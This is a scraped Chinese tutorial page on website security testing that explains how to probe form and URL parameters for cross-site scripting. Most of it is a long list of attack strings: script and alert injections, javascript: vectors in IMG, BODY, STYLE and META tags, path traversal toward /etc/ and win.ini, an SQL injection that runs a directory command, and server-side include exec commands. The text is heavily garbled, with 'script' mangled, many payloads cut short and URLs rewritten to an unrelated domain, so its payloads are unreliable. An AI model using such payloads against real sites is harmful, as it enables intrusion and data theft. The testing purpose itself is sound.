网站安全性测试题及答案网站安全性测试( 二 ) _xss

最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作. 从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验以下几项安全性问题: 需求中应说明表单中某一 FIELD 的类型,长度,以及取值范围(主要作用就是禁止输入敏感字符) 需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序应给出不包含任何代码或数据库信息的错误提示. 当然在执行测试的过程中,我们也需求对上述两项内容进行测试. 2.(XSS):(跨站点脚本攻击跨站点脚本攻击) 2.Cross-site (XSS):(跨站点脚本攻击) (1)如何进行 XSS 测试? !--[if !]--首先,找到带有参数传递的 URL,如交评论,发表留言页面等等。登录页面,搜索页面,提 !--[if !]--其次,在页面参数中输入如下语句(如:īpt,VB scrīpt, HTML,, Flash)来进行测试： scrī(.)/scrīpt 注:其它的 XSS 测试语句 scrī(.)/scrīpt ='scrī(.)/scrīpt scrī(.)/scrīpt scrī()/scrīpt %3Cscrīpt%('XSS')%3C/scrīpt%3E scrī('XSS')/scrīpt img src="http://www.kingceram.com/post/īpt:alert('XSS')" %0a%0ascrī(\"\")/scrīpt.jsp %22%3cscrīpt%(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/ %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E//win.ini %3c/a%3e%3cscrīpt%(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%(%22xss%22)%3c/scrīpt%3e %3cscrīpt%(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp scrī('');/scrīptgt scrī('')/scrīpt ?=1 a%5c.aspx a.jsp/scrī('')/scrīpt a/ a?scrī('')/scrīpt "scrī('')/scrīpt ';exec%..%20'dir%20 c:%20%20c:\\\?.txt'-- %22%3E%3Cscrīpt%(.)%3C/scrīpt%3E %3Cscrīpt%(. );%3C/scrīpt%3E %3Cscrīpt%(.);%3C/scrīpt%={}= 1%%20all%%,0,0,0,0%%%%= ../../../../../../../../etc/ ..\..\..\..\..\..\..\..\\.ini \..\..\..\..\..\..\..\..\\.ini '';!--"XSS={()} IMG SRC="http://www.kingceram.com/post/īpt:alert('XSS');" IMG SRC=http://www.kingceram.com/post/īpt:alert('XSS') IMG SRC=http://www.kingceram.com/post/īpt:alert('XSS') IMG SRC=http://www.kingceram.com/post/īpt:alert("XSS") IMG SRC=http://www.kingceram.com/post/īpt:alert('XSS') IMG SRC=http://www.kingceram.com/post/īpt:alert('XSS') IMG SRC="http://www.kingceram.com/post/jav ascrīpt:alert('XSS');" IMG SRC="http://www.kingceram.com/post/jav ascrīpt:alert('XSS');" IMG SRC="http://www.kingceram.com/post/jav ascrīpt:alert('XSS');" "IMG SRC=http://www.kingceram.com/post/java/0scrīpt:alert(/"XSS\")";'out IMG SRC="http://www.kingceram.com/post/īpt:alert('XSS');" scrīpta=/XSS/alert(a.)/scrīpt BODY ="īpt:alert('XSS')" BODY ōNLOAD=alert('XSS') IMG ="īpt:alert('XSS')" IMG ="īpt:alert('XSS')"SRC="http://www.kingceram.com/post/īpt:alert('XSS');" br size="{alert('XSS')}" LAYER SRC=""/layer LINK HREF="http://www.kingceram.com/post/īpt:alert('XSS');" IMG SRC='http://www.kingceram.com/post/vbscrīpt:("XSS")' IMG SRC="http://www.kingceram.com/post/mocha:[code]" IMG SRC="http://www.kingceram.com/post/īpt:[code]" META HTTP-EQUIV="" ="0;url=īpt:alert('XSS');"SRC=http://www.kingceram.com/post/īpt:alert('XSS')/SRC=http://www.kingceram.com/post/īpt:alert('XSS')/FRAME/ TABLE ="īpt:alert('XSS')" DIV DIV DIV IMG SRC=http://www.kingceram.com/post/:ale STYLE@im/port'\ja\vasc\ript:alert("XSS")';/STYLE IMG STYLE TYPE="text/īpt"alert('XSS');/STYLE STYLE type="text/css"BODY{:url("īpt:alert('XSS')")}/STYLE BASE HREF="http://www.kingceram.com/post/īpt:alert('XSS');//" ("īpt:alert('XSS')") a="get";b="URL";c="īpt:";d="alert('XSS');";eval(a+b+c+d); XML SRC="http://www.kingceram.com/post/īpt:alert('XSS');" " BODY ōNLOAD="a();"scrī a(){alert('XSS');}/scrīpt" scrīpt SRC="http://www.kingceram.com////.jpg"/scrīpt IMG SRC="http://www.kingceram.com/post/īpt:alert('XSS')" IMG SRC="" scrīpt a="" SRC=""/scrīpt scrīpt ="" SRC=""/scrīpt scrīpt a="" '' SRC=""/scrīpt scrīpt "a=''" SRC=""/scrīpt scrī.write("SCRI");/scrīptPT SRC=""/scrīpt A HREF=http://www.kingceram.com/post/;link/A STYLE TYPE="text/css".XSS{-image:url("īpt:alert('XSS')");}/ CLASS=XSS !--#exec cmd="/bin/echo 'scrīpt SRC'"--!--#exec cmd="/bin/echo '=;/scrīp 最后,当用户浏览时便会弹出一个警告框，内容显示的是浏览者当前的串,这就说明该网站存在 XSS 漏洞。

网站安全性测试题及答案 网站安全性测试( 二 )

网站安全性测试题及答案网站安全性测试( 二 )